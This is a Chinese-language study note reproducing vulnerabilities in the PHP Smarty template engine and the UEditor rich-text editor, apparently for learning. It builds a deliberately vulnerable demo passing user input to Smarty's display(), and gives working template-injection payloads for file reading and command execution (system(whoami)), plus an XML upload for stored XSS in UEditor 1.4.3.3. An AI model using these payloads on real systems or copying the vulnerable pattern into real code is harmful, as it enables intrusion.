模板编辑器(PHP)(小迪网络安全笔记~

embedded/2025/1/23 2:53:06/

免责声明:本文章仅用于交流学习,因文章内容而产生的任何违法&未授权行为,与文章作者无关!!!
附:完整笔记目录~
ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正!

1.4 🐘模板&编辑器(PHP)

  1. 引子:本章对PHP Web中所使用的组件及由组件可能产生的安全问题简单做一介绍,其中所介绍组件为,模板引擎Smarty和富文本编辑器UEditor。

  2. Smarty

    1. 什么是Smarty?
      我们来看官方给出的介绍,Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. → 简单来说,就是在PHP Web开发中,可能会用到的第三方组件,该组件实现了模板引擎的功能。
      这里再顺带介绍一下模板引擎,模板引擎的出现是为了分离一套源码中的表现层与应用程序代码。在开发时,可以使页面设计者与后端开发者分别专注于其本职工作,无需考虑其他,而当开发者想要修改模板或应用逻辑时,也无需额外考虑相互影响的问题。

    2. 接下来,通过简单的demo,来认识一下Smarty:
      注:1. Smarty支持PHP版本为 7.1 - 8.3。2. Smarty下载地址:https://github.com/smarty-php/smarty。3. 本文使用Smarty版本为3.1.38 & 4.5.5,PHP版本为7.3.4。

      {* Smarty *}
      <!DOCTYPE html>
      <html lang="zh-CN">
      <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>{$title}</title><style>body {margin: 0; display: flex; justify-content: center; align-items: center;height: 100vh; font: 16px Arial, sans-serif; background: #f0f8ff; text-align: center;}h1 { color: #4caf50; }.elephant { font-size: 100px; }</style>
      </head>
      <body><h1>{$body}</h1><div class="elephant">{$pic}</div>
      </body>
      </html>
      {* Smarty *}
      <!DOCTYPE html>
      <html lang="zh-CN">
      <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>{$title}</title><style>body {margin: 0; display: flex; justify-content: center; align-items: center;height: 100vh; font: 16px Arial, sans-serif; background: #f0f8ff; text-align: center;}h1 { color: #4caf50; }.elephant { font-size: 100px; }</style>
      </head>
      <body><h1>{$body}</h1><div class="elephant">{$pic}</div>
      </body>
      </html>

      该文件为前端页面文件,可以看到由html+css组成,且其标签中的值内容被替换为 {$变量名} ,用于smarty渲染。

      php"><?php
      require '../smarty/smarty-3.1.38/libs/Smarty.class.php';$smarty = new Smarty();$smarty->setTemplateDir('./templates');
      $smarty->setCompileDir('./templates_c');
      $smarty->setConfigDir('./configs');
      $smarty->setCacheDir('./cache');
      //$smarty->testInstall();$smarty->assign('title', 'Elephant');
      $smarty->assign('body', '这是一只可爱的大象!');
      $smarty->assign('pic', '🐘');$smarty->display('smarty3demo.tpl');
      

      该文件为smarty配置文件,使用smarty版本为3.1.38,其中templates目录存放需要渲染的页面文件,templates_c目录存放前端页面文件经smarty模板引擎渲染后的编译文件,assign用于替换页面文件中的变量,display用于指定需要渲染的页面文件。
      对smarty配置文件而非前端页面文件进行访问,访问结果如下:
      image-20250116201536174

      由smarty官方可知,最终为用户所提供页面的文件,并非用户所访问的smarty配置文件,也非templates目录下的页面文件,而是templates_c目录下被渲染后的编译文件,我们来看一下该编译文件:

      php"><?php
      /* Smarty version 3.1.38, created on 2025-01-16 20:27:18from 'D:\phpstudy_pro\WWW\PraDevelopment\phpdemo\element\smarty3demo\templates\smarty3demo.tpl' *//* @var Smarty_Internal_Template $_smarty_tpl */
      if ($_smarty_tpl->_decodeProperties($_smarty_tpl, array ('version' => '3.1.38','unifunc' => 'content_6788fb268b7b73_02769173','has_nocache_code' => false,'file_dependency' => array ('b704768be782dee972aac461ba4c6236eed18d66' => array (0 => 'D:\\phpstudy_pro\\WWW\\PraDevelopment\\phpdemo\\element\\smarty3demo\\templates\\smarty3demo.tpl',1 => 1737012300,2 => 'file',),),'includes' => array (),
      ),false)) {
      function content_6788fb268b7b73_02769173 (Smarty_Internal_Template $_smarty_tpl) {
      ?><!DOCTYPE html>
      <html lang="zh-CN">
      <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title><?php echo $_smarty_tpl->tpl_vars['title']->value;?>
      </title><style>body {margin: 0; display: flex; justify-content: center; align-items: center;height: 100vh; font: 16px Arial, sans-serif; background: #f0f8ff; text-align: center;}h1 { color: #4caf50; }.elephant { font-size: 100px; }</style>
      </head>
      <body><h1><?php echo $_smarty_tpl->tpl_vars['body']->value;?>
      </h1><div class="elephant"><?php echo $_smarty_tpl->tpl_vars['pic']->value;?></div>
      </body>
      </html>
      <?php echo "sjjjer"?>
      <?php }
      }

      编译后的文件为.php文件,在该文件中加入 <?php echo "sjjjer"?>,再次尝试访问smarty配置文件:
      image-20250116203613959

    3. ok,认识完smarty后,接下来我们聊一下使用smarty可能产生的安全问题。
      已知template_c下的php文件为最终提供服务文件,若渲染的页面文件用户可控,那我们是不是就可以利用模板引擎渲染执行我们所指定的命令呢?
      思路有了,我们来修改一下smarty配置文件,使display中的值也就是渲染文件可控:

      php"><?phprequire '../smarty/smarty-3.1.38/libs/Smarty.class.php';$smarty = new Smarty();$smarty->setTemplateDir('./templates');
      $smarty->setCompileDir('./templates_c');
      $smarty->setConfigDir('./configs');
      $smarty->setCacheDir('./cache');
      //$smarty->testInstall();$smarty->assign('title', 'Elephant');
      $smarty->assign('body', '这是一只可爱的大象!');
      $smarty->assign('pic', '🐘');//$smarty->display('smarty3demo.tpl');
      $smarty->display($_GET['view'].'.tpl');
      

      修改可控参数,实现任意文件读取,测试poc:

      /Smarty3Demo1.php?view=string:{include file='D:/ser.txt'}
      

      Result:
      image-20250116214916930
      实现命令执行,测试poc:(注:实现该poc,需smarty版本 < 3.1.39)

      php">/Smarty3Demo1.php?view=string:{function name='x(){};system(whoami);function '}{/function}
      

      Result:
      image-20250116221553323
      同样实现命令执行,测试smarty版本:3.1.18 & 4.5.5,测试poc:

      /Smarty4Demo2.php?view=string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
      

      Result:
      image-20250116222836152

    本文对基于smarty所产生的安全问题介绍的比较简单,主要是漏洞复现,poc也仅列举了3个。若想进一步了解,可参考:https://xz.aliyun.com/t/11108

  3. UEditor

    1. 什么是UEditor?
      UEditor是由百度web前端研发部开发的富文本web编辑器。只不过目前已停止更新维护,最新版本也停留在了2016年8月10日所发布的1.4.3.3版本,项目地址:https://github.com/fex-team/ueditor
      同样,通过简单的demo,来了解一下UEditor编辑器

      <!DOCTYPE HTML>
      <html lang="en-US">
      <head><meta charset="UTF-8"><title>ueditor demo</title>
      </head>
      <body><!-- 加载编辑器的容器 --><script id="container" name="content" type="text/plain"></script><!-- 配置文件 --><script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.config.js"></script><!-- 编辑器源码文件 --><script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.all.js"></script><!-- 实例化编辑器 --><script type="text/javascript">var ue = UE.getEditor('container');</script>
      </body>
      </html>
      

      访问该文件,就可以看到被引用的UEditor编辑器
      image-20250117133527507

    2. UEditor的安全问题
      由于笔者本人水平有限,因此这里仅对由UEditor文件上传导致存储XSS漏洞做一复现(复现完,感觉这洞比较low啊。。。)。若想详细了解UEditor的安全问题,可以在网上找找别的大佬的文章。
      UEditor版本,php v1.4.3.3:
      image-20250117161025260
      burp抓一个图片上传数据包:
      image-20250117162805989
      接下来,我们尝试修改一下数据包,上传一些其他类型的文件:
      image-20250117175813848
      访问一下刚上传的test.xml文件:
      image-20250117180150951
      这里给出插入代码:

      <html xmlns="http://www.w3.org/1999/xhtml"><script type="text/javascript">// 当页面加载时,触发弹窗window.onload = function () {alert("FBI WARNING!!!");};</script>
      </html>
      

      至此,漏洞复现完成!至于为什么我感觉这洞比较low呢,是因为上传的文件类型仍有限制,不是你想传什么文件就传什么文件,文件上传类型遵循如下白名单:
      image-20250117180640689
      可以看到.xml文件就在白名单中,也就是说,即使不搞上面的那些花哨操作,直接上传含有恶意代码的.xml文件也是可以实现存储XSS的,而一旦从白名单中将.xml删除,上面的操作也会失效。至于该漏洞的应用场景,可能为开发者隐藏掉了ueditor中的附件上传选项,且白名单未做限制的情况吧。

    至此,本章内容结束!


http://www.ppmy.cn/embedded/156211.html

相关文章

Chrome谷歌浏览器如何能恢复到之前的旧版本

升级了谷歌最新版不习惯&#xff0c;如何降级版本 未完待续。。 电脑中的Chrome谷歌浏览器升级到了最新版本&#xff0c;但是有种种的不适应&#xff0c;如何能恢复到之前的旧版本呢&#xff1f;我们来看看操作步骤&#xff0c;而且无需卸载重装。 怎么恢复Chrome 之前版本&a…

递归40题!再见递归

简介&#xff1a;40个问题&#xff0c;有难有易&#xff0c;均使用递归完成&#xff0c;需要C/C的指针、字符串、数组、链表等基础知识作为基础。 1、数字出现的次数 由键盘录入一个正整数&#xff0c;求该整数中每个数字出现的次数。 输入&#xff1a;19931003 输出&#xf…

Jetbrains 官方微信小程序插件已上线!

就在昨天&#xff0c;Jetbrains官方发布了一篇文章&#xff0c;宣布它们发布了一款专用于微信小程序开发的插件&#xff08;插件名称&#xff1a;WeChat Mini Program&#xff09;&#xff0c;至此&#xff0c;大家可以使用Jetbrains家的IDE&#xff08;例如IDEA、WebStorm&…

【vim】vim怎样直接跳转到某行?

vim怎样直接跳转到某行&#xff1f; 一、使用行号跳转二、使用相对行号跳转三、使用标记跳转 在Vim中直接跳转到某行可以使用以下几种方法&#xff1a; 一、使用行号跳转 在命令模式下&#xff0c;输入冒号:&#xff0c;然后输入你想要跳转的行号&#xff0c;最后按回车键。例…

判断nginx的请求是否存在堆积

判断 Nginx 请求堆积&#xff08;也就是请求延迟、积压&#xff09;通常涉及分析系统的负载、响应时间、以及请求的排队情况。以下是几种常见的方法和指标&#xff0c;可以帮助你识别 Nginx 请求是否存在堆积现象&#xff1a; 1. Nginx 的状态监控页面 Nginx 提供了一个 stub…

云计算、AI与国产化浪潮下DBA职业之路风云变幻,如何谋破局启新途?

引言 在近日举办的一场「云和恩墨大讲堂」直播栏目中&#xff0c;云和恩墨联合创始人李轶楠、副总经理熊军和欧冶云商数据库首席薛晓刚共同探讨了DBA的现状与未来发展。三位专家从云计算、人工智能、国产化替代等多个角度进行了深入的分析和探讨&#xff0c;为从业者提供了宝贵…

PHP同城配送小程序

&#x1f680; 同城极速达——您生活中的极速配送大师 &#x1f4f1; 一款专为现代都市快节奏生活量身打造的同城配送小程序&#xff0c;同城极速达&#xff0c;集高效、便捷、智能于一身&#xff0c;依托ThinkPHPGatewayWorkerUniapp的强大架构&#xff0c;巧妙融合用户端、骑…

redis-redission的加锁源码与看门狗机制

redission加锁方式 maven依赖 <dependency><groupId>org.redisson</groupId><artifactId>redisson</artifactId><version>3.16.8</version></dependency>lock使用方式 import org.redisson.Redisson; import org.redisson.a…